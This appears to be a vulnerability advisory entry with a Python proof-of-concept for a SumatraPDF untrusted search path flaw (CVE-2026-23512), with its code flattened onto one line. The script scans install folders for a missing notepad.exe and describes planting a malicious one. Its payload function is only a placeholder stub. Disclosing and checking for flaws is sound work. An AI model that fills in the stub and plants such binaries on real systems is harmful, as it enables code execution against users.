CVE-2026-23512: SumatraPDF 高级选项设置不信任搜索路径漏洞

#!/usr/bin/env python3 # CVE-2026-23512 PoC - SumatraPDF Untrusted Search Path # This PoC demonstrates the vulnerability by creating a malicious notepad.exe # that will be executed when SumatraPDF's Advanced Options is triggered import os import shutil def create_malicious_notepad(): """ Create a malicious notepad.exe that executes arbitrary code This is a placeholder - actual malicious code would be injected here """ malicious_code = b'MZ' + b'\x90' * 50 + b'\x00' * 100 return malicious_code def check_vulnerability(): """ Check if SumatraPDF is installed and vulnerable Returns the installation path if vulnerable, None otherwise """ possible_paths = [ r'C:\Program Files\SumatraPDF', r'C:\Program Files (x86)\SumatraPDF', os.path.expanduser(r'~\AppData\Local\SumatraPDF') ] for path in possible_paths: if os.path.exists(path): notepad_path = os.path.join(path, 'notepad.exe') # Check if notepad.exe exists in installation directory if not os.path.exists(notepad_path): print(f'Potential vulnerability detected at: {path}') print('notepad.exe not found in installation directory') return path return None def main(): print('CVE-2026-23512 - SumatraPDF Untrusted Search Path PoC') print('=' * 60) # Check if vulnerable install_path = check_vulnerability() if install_path: print(f'\nVulnerable installation found at: {install_path}') print('\nAttack scenario:') print('1. Attacker places malicious notepad.exe in installation directory') print('2. User triggers Advanced Options in SumatraPDF') print('3. Malicious notepad.exe is executed with application privileges') print('4. Attacker gains code execution') else: print('No vulnerable SumatraPDF installation found') if __name__ == '__main__': main()